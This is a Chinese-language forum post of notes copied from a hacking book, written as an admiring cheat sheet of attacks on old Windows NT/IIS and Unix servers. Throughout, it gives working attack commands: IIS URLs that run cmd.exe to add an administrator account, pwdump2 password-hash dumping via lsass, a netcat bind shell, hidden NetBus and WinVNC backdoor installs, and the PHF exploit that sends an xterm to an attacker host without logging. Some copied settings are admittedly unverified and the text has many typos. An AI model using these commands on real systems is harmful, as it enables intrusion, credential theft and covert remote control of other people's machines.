還在用木馬等魚兒上勾,然後用prot掃瞄,或偷窺icp漏洞,或是猜密碼,或放或寄病毒網頁 
等人打開來這些初等或中等的攻擊法嗎??美國駭客的實力真是另人無法想像, 

他們只需利用網址就能輕而意舉的主動攻擊了,情結不輸給電影,我們的手法 

對他們而言只是無須大驚小怪的小兒科......參考書為黑紅色的網路駭客與系統安全 

(好像有新版的,小皇是舊版的,名稱與外關差不多) 

書籍上的重點,作者是美國著名的網路安全專家, 


遠端緩衝區溢滿{buffer overflow} 
緩衝區溢滿是發生在程式沒有適當的檢查輸入內容的長度 
,而導致緩衝區空間不足,因此,任何預期之外的輸入,就會 
掩蓋掉CPU執行堆疊的其它部分. 
遠端執行命令取得系統管理者權限 
http://www.infowar.co.uk/mnemonix 
遠端執行一個批次檔執行任意的程式 
http://www.infowar.co.uk/mnemonix/Ntbufferoverruns.htm 


ISSHACK http://www.eeye.com 
在NT ISS網頁伺服器上執行程式碼 
在本機中可以給使一位使用者加入到區域的管理者群組中的擴權程式 

http://www.ntsecurity.net/security/getadmin.htm 
有相似功能的其它程式 sechole升級版是secholed 
http://www.ntsecurity.net/security/sechole.htm 
(Domain Admin group) 網域管理者(升級)群組 


cmd.exe NT命令解釋器 
ntuser 程式 用來修改使用者,群組和政策的程式,可參考 
http://www.pedestalsoftware.com 

Sechole的啟動可靠在一個瀏覽器輸入一個適當的URL連網目標系統,例如下列 

我們將Sechole上傳至/W3SVC/1/ROOT/SCRIPTS 
(這裡就是C:\inetpub\SCRIPTS) 
然後用下面的URL網址啟動它 
http://192.168.202.154/scripts/secholle.exe 
這樣做會成功的將IUSR_machine_name帳號加入管理者群組中,我們並沒有 

IUSR的密碼,因此我們為了要避免登入IUSR,通常是在目標系統上開個帳號, 

做法是利用ntuser公用程式透過瀏覽器執行下列複雜的URL(為了方便閱讀內容經過裝飾) 

http://192.168.202.154/scripts/cmd.exe?/c%20c:\C:\inetpub\scripts\ntuser.exe%20-s%20corpl%20add%20mallory%20-password%20secret 

以上%20再網語中是空白的意思,所以以上網址會被執行為 
(cmd /c 會送出ntuser命令到shell,在完成時終結自己) 
cmd /c ntuser -s <servername> add <username> -password 
<password> 
以上我們是以corpl做伺服機名稱,mallory是使用者名稱,secret當密碼, 

用類似的URL攻擊者可以用ntuser幫你把mallory加到管理者群組裡,如下 
(LORGUP是指某個區域群組) 
cmd /c ntuser -s <servername> LORGUP APPEND 
<groupname> <username>... 
http://192.168.202.154/scripts/cmd.exe?/c%20c:\C:\inetpub\scripts\ntuser.exe%20-s%20corpl%20lgroup%20Administrators%20mallory 

同機能的批次檔寫法如registry,cmd 
內容: net localgroup administrators <USER> /add 

安全系統ISS目錄和一些潛在可行的目錄 
http://www.iss.net/xforce/alerts/advise6.html 
以下/W3SVC/1/ROOT通常是指C:\Inetpub\還有News及Mail 
/W3SVC/1/ROOT/msade 
/W3SVC/1/ROOT/cgi-bin 
/W3SVC/1/ROOT/SCRIPTS 
/W3SVC/1/ROOT/ISSADMPWD 
/W3SVC/1/ROOT/_vti_bin 
/W3SVC/1/ROOT/_vti_bin/_vti_adm 
/W3SVC/1/ROOT/_vti_bin/_vti_aut 
(_vti_bin都是安裝Front Page之後衍生出來的) 

放批次檔的地方 
HKLM\software\Microsoft\CurrentVersion 
\RUN [any] 
\AeDebug Debugger 
\WinLogon Userinit 

------------------------------------------------------------ 


執行NT的NT Repair Disk Utility (rdisk) 
會在%SYSTEMROOT%\repair 
中產生一個壓縮過的SAM檔叫SAM._ ,還原法: C:\>expand 
SAM._ SAM 
NTFDOS:NTFS驅動軟體http://www.sysinternals.com 

可破SYSKEY的是Pwdump2 
http://www.webspan.net/~tas/pwdump2 
它可使用DLL注入的方法將自己的程式碼插入其它具有更高權限的行程中, 

一但注入更高權限的行程之後,這些惡質的執行碼就可以自由的內部呼叫API, 

來存取SYSKEY加密的密碼而不需將其解密. 
pwdump2所瞄準的高權限行程是lsass.exe,它是區域安全授權子系統, 

Pwd2是將自己注入到lsass的位址空間中,因此在執行Pwdump2之前必需動手 

找出lsass.exe的行程邊號(PID),以下是用NTRK裏的pulist公用程式並將 

輸出導向find找出lsass.exe的PID為50 
(以下C:\代表本機,D:\代表遠端主機) 
D:\>pulist | find "lsass" 
lsass.exe 50 NT AUTHORITY\SYSTEM 
現在Pwdump2可以使用PID 50來執行了,預設下會將它的輸出 
顯示在瑩慕上,可以很容意的導向一個檔案 
D:\>pwdump2 50 

ASCII無法顯示的字元Num Lock)ALT-255或ALT-129 

用AT執行遠端排程 (雙引號) 
C:\>at \\192.168.202.44 10:40P""remote /s cmd secret"" 

去除可用"[job id] /delete" 
遠端查時間c:>\sc \\192.168.202.44 start schedule 
sc.exe是可啟動排程服務 C:>\net time \\192.168.202.44 


以下D:\代表本機C:\代表遠端 
D:\>remote /c 192.168.202.44 
secret 
C:\>Dir winnt\repair\Sam._ 
C:\>@Q (結束用戶端) 
C:>\@k (結束伺服端) 
但remote不可啟動認何用到Win32 console API的程式 

remote.exe /C為用戶端 /S為伺服模式 

遠端監視抓取螢幕http://www.uk.research.att.com/vnc 
----------------------------- 
Netcat 
以下是使用command來聆聽 
-L 不會停止 
-d 暗中進行,不會有戶動的主控台 
-e 是指定啟動NT命令的解釋器, 
遠端為C:\TEMP\NC11NT 
-p 是指定聆聽的通訊阜 
C:\TEMP\NT11NT>nc -L -d -e cmd.exe -p 8080 
例 C:\TEMP\NT11NT>nc 192.168.202.44 8080 
D:\temp\regini -m \\192.168.202.44 netbus.txt 

NTRK中的regini.exe可以直接把必要的項目加入到遠端的Registry內 

REGINI讀取文字檔當做輸入來進行Registry的修改,所以我們必需建立一個 

Netbus.txt的檔案出來 
D:\temp\regini -m \\192.168.202.44 netbus.txt 
的檔案內容如下 !!!詳細請到書局查閱,不知有沒有抄正卻!!! 

HKEY_LOCAL_MACHINE\SOFTWARE\Net Solutions\NetBus 
Server\Genera 
Accept=1 
TCPPort=80 
Visibility=3 在隱藏模式下執行 
AccessMode=2 
AutoStart=1 在windows啟動時執行 

HKEY_LOCAL_MACHINE\SOFTWARE\Net Solutions\NetBus 
Server\Protection 
password=impossible 

WinVNC的用法第一部將必要檔複製到目標系統(winVNC.exe,VNCHooks.dll,OMNI 
THREAD_RT.DLL) 
2.設定使用此程式的密碼,建一個叫WINVNC.INI的檔案內容如下 

!!!詳細請到書局查閱,不知有沒有抄正卻!!! 
HKEY_USER\.DEFAULT\software\ORL\WinVNC3 
SocketConnect=REG_DWORD 
0x00000001 
password=REG_BINARY 0x00000008 

然後使用regini將這些值載入到遠端Registry內 
C:\>regini -m \\192.168.202.33 winvnc.ini 

NTRK的regdmp公用程式是可把Registry轉錄下來 

最後將winVNC安裝起來成為伺服程式並啟動它,下列的遠端命令,(記得這是遠端命令) 

C:\>WinVNC -install 
C:\>net start winvnc 

現在我門就可以啟動vncviewer程式並和我們的目標連線, 
下圖是設定連線到"顯示0"IP的位置,下一步是密碼 
___________________________________________ 
| vncSERVER |192.168.202.33.0 |v| 
=========================================== 

待續..... 

截取修改密碼http://www.ntsecurity.net/security/passworddll.html 

下例是可直接顯示原始碼,Netscape是存檔 
http://www.Company.com/scripts/files.asp::$DATE 
APS檔後面多加句點就有機會看見原始檔,或以16進位來破姐修正版 

http://www.Company.com/code/example.asp. 
http://www.Company.com/code/example%2easp 
-------------------------------------- 

一部機器的SID是一串數字,以S-1開頭,並以卵橫號分成好幾段,而最後一祖 

的數字稱為RID,對於NT內建的使用者與群組都有預先定意的RID, 

例如Administrator的RID碼一定都是500,而GUEST為501,駭客可用sid2user來找出 

已知SID和RID為500來找出管理者的帳號名稱(既使改過名稱) 
C:\>sid2user \\192.168.2.33 8915387 1645822062 18....5 
500 (S-1和短橫號是省略的) 
http://www.chem.msu.su:8080/~rudnyi/NT/sid.txt 
http://www.ntmag.com/Magazine/Article.cfm?ArtideID=3143 


----------------------------------------- 
最佳的xterm 
UNIX可在相容的機器上顯示X Window,也能透過prot 
-6063顯示在遠端的 
X伺服器上,然而加上-dispaly參數攻擊者可以將他自己的命令介面層導向自己 

的X伺服器,可以改良原PHF攻擊方式/cgi-bin/phf?Qalias=z%0a/bin/cat%20/etc/passwd 

既然攻擊者具有在網頁伺服器上執行遠端命令的能力,只要把這個攻擊稍微修改一下 

,就可以獲取交談式介面層存取,攻擊者要做的是將命令內容中的/bin/cat 

/etc/passwd 改成 /usr/X11R6/bin/xterm -ut -dispaly 
evil_hackers_IP:0.0 完整的命令如下: 
/cgi-bin/phf?Qalias=z%0a/usr/X11R6/bin/xterm%20-ut%20-dispaly%20evil_hackers_IP:0.0 

上面這個是在遠端的網頁伺服器就會執行xterm並且顯示在攻擊者(evil_hackers)的X伺服器上 

(視窗ID=0;螢幕ID=0),因為我們加上了-ut參數,因此這個動作並不會被系統記錄 

下來,這樣攻擊者跟本不需要登入任何伺服程式就可以獲得教談式介面層存取, 

通常我們會使用xterm的完整路徑,因為我們攻擊展開時,其PATH環境參數不一定設定 

符合我們的需求,使用完整路徑才能卻保網頁伺服器可以順利找到xterm執行檔 


=================================================== 

port service 
7 echo 
9 discard 
13 daytime 
19 Chargen 
21 ftp 
22 ssh 
23 telnet 
25 smtp 
25 smap 
37 time 
53 dns 
79 finger 
80 http 
110 pop3 
111 sunrpc 
139 netbois 
143 imap 
443 https 
512 exec 
513 login 
514 shell 
2049 nfs 
4045 lockd 
31337 UDP (BO) 
12345 TCP (NetBus) 
1394 DVD 
31337 unassigned 
12345 unassigned 

135-139 UPD和TCP/IP 

LINUX用網路結構探勘工具http://www.marko.net/cheops 
超級抓站軟體http://www.blighty.com/products/spade的Sam 
Spade還有Crawl,Website 
洩漏檔案內容,只要攻擊者知道檔案位置並以非標準的URL送出要求.... 

詳http://www.microsoft.com/security/bulletins/ms99-010.asp 


網路007 http://www.samspade.org/ 
作葉系統探知器Queso http://www.apostols.org/projectz/ 
網路源由結構圖http://www.visualroute.com的VisualRoute 
網路結構探索工具http://www.marko.net/cheops 
http://www.home.cs.utwente.ht/schoenw/scotty的Tkined原本是Scotty函式庫的一部份 

Nnmap的更新工具http://www.insecure.org:80/cgi-bin/nmap-submit.cgi 

http://www.remotelyanywhere.com網頁NT管理工具Remotely 
Anywhere 
2.Remotely Possible / Control IT 
http://www.cai.com的Control 
IT可在Windows,Linux,Solaris上用 
http://www.uk.research.att.com/Vnc 


queue處理器的佇列 
dual-homed兩棲主機 
HTML換行碼%0a 
HTML空格碼%20 
Virtual虛擬 
Private絲人 
back channel回傳通道 
,定意:一個通訊管道起始端為目標系統而非攻擊端 
shared library共享函式庫 
signal信號 
aliase化名 
 
www.000webhost.com